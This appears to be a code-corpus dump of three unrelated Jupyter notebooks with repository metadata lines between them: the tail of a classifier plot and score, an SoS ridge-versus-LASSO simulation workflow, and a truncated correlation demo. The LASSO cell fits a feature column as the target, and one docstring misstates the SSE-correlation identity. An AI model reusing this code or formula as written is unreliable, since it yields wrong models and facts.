WlNTUzp69Gjk++3t7ZWkWPbdDj9LfP36dUnS\n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\nAElFTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0xe58f4e0d30>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "visualizeBoundryCountor(X,y, clf)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Computing Model Error" ] }, { "cell_type": "code", "execution_count": 189, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "0.96499999999999997" ] }, "execution_count": 189, "metadata": {}, "output_type": "execute_result" } ], "source": [ "clf.score(Xval,yval)" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.6.0" } }, "nbformat": 4, "nbformat_minor": 2 }

mit

bpeng2000/SOS

development/docker-demo/examples/WP_2019_SoS_Manuscript/WP2019_Mixed_Style_Data_Flow.ipynb

3

5721

{ "cells": [ { "cell_type": "markdown", "metadata": { "kernel": "SoS" }, "source": [ "# Mixed-style workflow implementation using named output (data-flow driven)\n", "\n", "Instead of using wild-card pattern as shown in `Mixed_Style.ipynb`, here we use a less powerful yet more intuitive approach, via `named_output`, to define simple dependencies for mixed-style workflow." ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "kernel": "SoS" }, "outputs": [], "source": [ "[global]\n", "parameter: beta = [3, 1.5, 0, 0, 2, 0, 0, 0]" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "kernel": "SoS" }, "outputs": [], "source": [ "# Simulate sparse data-sets\n", "[simulation]\n", "depends: R_library(\"MASS>=7.3\")\n", "parameter: N = (40, 200) # training and testing samples\n", "parameter: rstd = 3\n", "id = [x for x in range(1,6)]\n", "input: for_each = 'id'\n", "output: train = f\"data_{_id}.train.csv\", test = f\"data_{_id}.test.csv\"\n", "R: expand = \"${ }\"\n", " set.seed(${_id})\n", " N = sum(c(${paths(N):,}))\n", " p = length(c(${paths(beta):,}))\n", " X = MASS::mvrnorm(n = N, rep(0, p), 0.5^abs(outer(1:p, 1:p, FUN = \"-\")))\n", " Y = X %*% c(${paths(beta):,}) + rnorm(N, mean = 0, sd = ${rstd})\n", " Xtrain = X[1:${N[0]},]; Xtest = X[(${N[0]}+1):(${N[0]}+${N[1]}),]\n", " Ytrain = Y[1:${N[0]}]; Ytest = Y[(${N[0]}+1):(${N[0]}+${N[1]})]\n", " write.table(cbind(Ytrain, Xtrain), ${_output[0]:r}, row.names = F, col.names = F, sep = ',')\n", " write.table(cbind(Ytest, Xtest), ${_output[1]:r}, row.names = F, col.names = F, sep = ',')" ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "kernel": "SoS" }, "outputs": [], "source": [ "# Ridge regression model implemented in R\n", "# Build predictor via cross-validation and make prediction\n", "[ridge_1 (model fitting)]\n", "depends: R_library(\"glmnet>=2.0\")\n", "parameter: nfolds = 5\n", "input: named_output('train'), named_output('test')\n", "output: pred = f\"{_input[0]:nn}.ridge.predicted.csv\", coef = f\"{_input[0]:nn}.ridge.coef.csv\"\n", "R: expand = \"${ }\"\n", " train = read.csv(${_input[0]:r}, header = F)\n", " test = read.csv(${_input[1]:r}, header = F)\n", " model = glmnet::cv.glmnet(as.matrix(train[,-1]), train[,1], family = \"gaussian\", alpha = 0, nfolds = ${nfolds}, intercept = F)\n", " betahat = as.vector(coef(model, s = \"lambda.min\")[-1])\n", " Ypred = predict(model, as.matrix(test[,-1]), s = \"lambda.min\")\n", " write.table(Ypred, ${_output[0]:r}, row.names = F, col.names = F, sep = ',')\n", " write.table(betahat, ${_output[1]:r}, row.names = F, col.names = F, sep = ',')" ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "kernel": "SoS" }, "outputs": [], "source": [ "# LASSO model implemented in Python\n", "# Build predictor via cross-validation and make prediction\n", "[lasso_1 (model fitting)]\n", "depends: Py_Module(\"sklearn>=0.18.1\"), Py_Module(\"numpy>=1.6.1\"), Py_Module(\"scipy>=0.9\") \n", "parameter: nfolds = 5\n", "input: named_output('train'), named_output('test')\n", "output: pred = f\"{_input[0]:nn}.lasso.predicted.csv\", coef = f\"{_input[0]:nn}.lasso.coef.csv\"\n", "python: expand = \"${ }\"\n", " import numpy as np\n", " from sklearn.linear_model import LassoCV\n", " train = np.genfromtxt(${_input[0]:r}, delimiter = \",\")\n", " test = np.genfromtxt(${_input[1]:r}, delimiter = \",\")\n", " model = LassoCV(cv = ${nfolds}, fit_intercept = False).fit(train[:,1:], train[:,1])\n", " Ypred = model.predict(test[:,1:])\n", " np.savetxt(${_output[0]:r}, Ypred)\n", " np.savetxt(${_output[1]:r}, model.coef_)" ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "kernel": "SoS" }, "outputs": [], "source": [ "# Evaluate predictors by calculating mean squared error\n", "# of prediction vs truth (first line of output)\n", "# and of betahat vs truth (2nd line of output)\n", "[ridge_2, lasso_2 (evaluate)]\n", "input: y = named_output('test'), yhat = output_from(-1)['pred'], coef = output_from(-1)['coef']\n", "output: f\"{_input[0]:nn}.mse.csv\"\n", "R: expand = \"${ }\", stderr = False\n", " b = c(${paths(beta):,})\n", " Ytruth = as.matrix(read.csv(${path(_input[0]):r}, header = F)[,-1]) %*% b\n", " Ypred = scan(${_input[1]:r})\n", " prediction_mse = mean((Ytruth - Ypred)^2)\n", " betahat = scan(${_input[2]:r})\n", " estimation_mse = mean((betahat - b) ^ 2)\n", " cat(paste(prediction_mse, estimation_mse), file = ${_output:r})" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "kernel": "SoS" }, "outputs": [], "source": [ "[default]\n", "sos_run(['ridge', 'lasso'])" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "kernel": "SoS" }, "outputs": [], "source": [ "%sosrun" ] } ], "metadata": { "kernelspec": { "display_name": "SoS", "language": "sos", "name": "sos" }, "language_info": { "codemirror_mode": "sos", "file_extension": ".sos", "mimetype": "text/x-sos", "name": "sos", "nbconvert_exporter": "sos_notebook.converter.SoS_Exporter", "pygments_lexer": "sos" }, "sos": { "kernels": [ [ "SoS", "sos", "", "" ] ] } }, "nbformat": 4, "nbformat_minor": 2 }

gpl-3.0

probml/pyprobml

notebooks/book1/03/correlation2d.ipynb

1

6097

{ "cells": [ { "cell_type": "code", "execution_count": 6, "id": "626cdbf9", "metadata": {}, "outputs": [], "source": [ "import matplotlib\n", "\n", "# matplotlib.use(\"TKAgg\") # Ideally one should use this, but this gives error\n", "matplotlib.use(\"Agg\") # this does not give interactive plot\n", "import matplotlib.pyplot as plt" ] }, { "cell_type": "code", "execution_count": 7, "id": "e16634fa", "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "/root/miniconda3/envs/py37/lib/python3.7/site-packages/ipykernel_launcher.py:54: FutureWarning: `rcond` parameter will change to the default of machine precision times ``max(M, N)`` where M and N are the input matrix dimensions.\n", "To use the future default and silence this warning we advise to pass `rcond=None`, to keep using the old, explicitly pass `rcond=-1`.\n" ] } ], "source": [ "import numpy as np\n", "from numpy import linalg as la\n", "from matplotlib.widgets import Slider\n", "\n", "\"\"\"\n", "https://en.wikipedia.org/wiki/Correlation_and_dependence#/media/File:Correlation_examples2.svg\n", "The corr(X, Y) == 1 iff y = a * x + b\n", "\n", "The following code demonstrate the above linked image that is included in\n", "ML 1st Edition. There are two sliders in the UI that allow a user to change the\n", "rotation and aspect ratio of the 2D point cloud. The corr(X, Y) value is also\n", "displayed.\n", "\n", "A line fitted by linear regression on the 2D point cloud is also shown. The SSE\n", "of linear regression satisfies:\n", "SSE / cov(Y,Y) = 1 - corr(X,Y)\n", "\n", "Thus SSE == 0 iff corr(X,Y) == 1\n", "\"\"\"\n", "\n", "\n", "def Rotation(theta):\n", " \"\"\"Return a 2D rotation matrix\"\"\"\n", " c = np.cos(theta)\n", " s = np.sin(theta)\n", " return np.array([[c, -s], [s, c]], dtype=np.float32)\n", "\n", "\n", "def Scale(aspect):\n", " \"\"\"Return a 2D scale matrix\"\"\"\n", " a = aspect\n", " return np.array([[1.0, 0.0], [0.0, a]], dtype=np.float32)\n", "\n", "\n", "def GeneratePoints(n, r):\n", " \"\"\"Uniformlly sample n 2d points in the circle with radius r\"\"\"\n", " result = []\n", " while len(result) < n:\n", " p = r * (2.0 * np.random.random_sample() - 1.0), r * (2.0 * np.random.random_sample() - 1.0)\n", " if la.norm(p, 2) <= r:\n", " result.append(p)\n", "\n", " return np.array(result, dtype=np.float32)\n", "\n", "\n", "def LinearRegressionOn2DPoints(points):\n", "\n", " points_T = np.transpose(points)\n", " X0, Y0 = points_T[0, :], points_T[1, :]\n", "\n", " n = len(X0)\n", " ones = np.ones(n)\n", " A = np.vstack([X0, ones]).T\n", " a, b = la.lstsq(A, Y0)[0]\n", "\n", " alpha = np.array([a, b]).T\n", " Y = np.dot(np.vstack((X0, np.ones(len(X0)))).T, alpha)\n", "\n", " return X0, Y0, Y\n", "\n", "\n", "def Correlation2DPoints(points):\n", " X = points[:, 0]\n", " Y = points[:, 1]\n", " C = np.corrcoef(points[:, 0], points[:, 1])\n", " return C[0, 1]\n", "\n", "\n", "def TransformPoints(params):\n", " R = Rotation(params[\"theta\"])\n", " S = Scale(params[\"aspect\"])\n", " T = np.dot(R, S)\n", " points = params[\"original_points\"]\n", " params[\"points\"] = np.array([np.dot(T, np.transpose(point)) for point in points], dtype=np.float32)\n", "\n", "\n", "def updateHandler(key, text, points_plot, line_plot, params):\n", " def update(v):\n", " params[key] = v\n", " TransformPoints(params)\n", " X0, Y0, Y = LinearRegressionOn2DPoints(params[\"points\"])\n", " points_plot.set_xdata(X0)\n", " points_plot.set_ydata(Y0)\n", " line_plot.set_xdata(X0)\n", " line_plot.set_ydata(Y)\n", " text.set_text(\"Corr(x,y) %f\" % Correlation2DPoints(params[\"points\"]))\n", "\n", " return update\n", "\n", "\n", "def main():\n", " points = GeneratePoints(1000, 4.0)\n", " theta = np.pi / 4.0\n", " aspect = 0.5\n", " params = {\"theta\": theta, \"aspect\": aspect, \"original_points\": points, \"points\": points}\n", "\n", " TransformPoints(params)\n", " X0, Y0, Y = 